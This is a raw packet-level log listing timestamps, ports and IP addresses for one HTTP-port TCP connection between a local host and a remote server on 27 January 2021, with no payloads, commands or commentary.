Jan 27, 2021 20:06:16.368127108 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.368129969 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368165016 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368565083 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368714094 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.368758917 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.368762970 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368798018 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.368801117 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368834972 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.368855000 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368884087 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.368885994 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368923903 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.368927956 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368963003 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.368966103 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369004965 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369014025 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369055033 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369055986 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369091034 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369095087 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369128942 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369131088 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369167089 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369169950 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369204044 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369205952 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369240999 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369242907 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369277954 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369282961 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369321108 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369327068 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369369030 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369369030 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369412899 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369472027 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369518995 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369520903 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369563103 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369566917 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369610071 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369611025 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369647026 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369649887 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369684935 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369692087 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369730949 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.369734049 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.369776011 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.371191978 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.372534037 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.408966064 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.408997059 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.409013987 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.409033060 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.409048080 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.409063101 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.409130096 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.410173893 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.410196066 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.410224915 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.410253048 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.410836935 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.410873890 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.410881996 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.410887957 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.410932064 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.410943985 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.410953999 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.410985947 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.410989046 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.410990953 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411005974 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411024094 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411035061 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411042929 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411048889 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411062002 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411070108 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411082029 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411087036 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411098003 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411108017 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411120892 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411127090 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411145926 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411151886 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411161900 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411166906 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411180019 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411185980 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411204100 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411205053 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411220074 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411241055 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411358118 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411633015 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411653042 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411673069 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.411680937 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411694050 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.411708117 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.412888050 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413563967 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413620949 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413640022 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413681984 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413685083 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413712025 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413723946 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413742065 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413765907 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413779974 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413781881 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413810968 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413820982 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413836002 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413846970 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413868904 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413873911 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413897991 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413908005 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413923025 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413938046 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413949013 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413954020 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413975000 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.413985968 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.413999081 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.414011955 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.414025068 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.414036036 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.414051056 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.414062023 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.414083004 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.414088011 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.414113045 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.414120913 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.414138079 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.414150000 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.414164066 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.414175987 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.414191008 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.414192915 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.414206982 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.414225101 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.418092012 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.451832056 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.451884985 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.451961994 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.452922106 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.452986002 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.452999115 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.453041077 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.453083992 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.453084946 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.453119993 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.453147888 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.453162909 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.453166962 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.453207970 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.453208923 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.453243971 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.453248978 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.453280926 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.453283072 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.453318119 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.453326941 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.453352928 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.453356981 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.453413963 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.453427076 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.453469038 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.454356909 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.454842091 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.454885960 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.454896927 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.454922915 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.454929113 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.454968929 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455086946 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455137014 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455216885 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455259085 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455261946 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455296993 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455301046 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455334902 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455338955 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455369949 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455374956 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455408096 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455409050 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455444098 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455447912 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455483913 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455490112 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455530882 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455530882 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455566883 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455571890 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455605030 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455605984 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455641031 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455643892 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455676079 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455684900 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455713034 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455713987 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455751896 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455754042 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455791950 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455797911 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455838919 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455840111 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455873966 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455878019 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455909967 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455912113 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455946922 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455949068 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.455982924 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.455988884 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456020117 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456021070 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456048965 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456056118 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456058025 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456108093 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456115007 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456156015 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456159115 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456192970 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456196070 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456231117 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456232071 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456269026 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456270933 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456305027 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456310034 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456341982 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456343889 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456377983 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456382036 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456418037 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456423998 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456465006 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456466913 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456501961 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456506968 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456541061 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456543922 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456577063 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456582069 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456617117 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456810951 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456850052 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.456861973 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.456892014 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.457648039 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.457700014 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.457755089 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.457793951 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.457798004 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.457832098 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.457834959 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.457869053 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.457873106 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.457909107 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.457915068 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.457956076 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.457957029 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.457993031 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.457994938 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458029985 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458044052 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458067894 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458067894 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458103895 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458106041 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458141088 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458142042 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458178997 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458179951 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458218098 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458225012 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458264112 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458266020 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458302975 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458303928 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458340883 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458340883 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458376884 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458378077 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458411932 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458415031 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458450079 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458451033 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458487034 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458487034 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458525896 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458534956 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458575010 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458575964 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458611965 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458614111 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458648920 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458650112 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458684921 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458686113 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458720922 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458724022 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458760023 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458761930 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458796024 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458806038 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458834887 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458842993 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458883047 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.458926916 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458969116 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.458970070 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.459005117 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.459007978 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.459042072 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.459043980 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.459079027 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.459080935 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.459115028 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.459117889 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.459152937 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.459153891 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.459188938 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.459191084 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.459228992 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.459235907 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.459276915 CET	49165	80	192.168.2.22	18.194.54.219
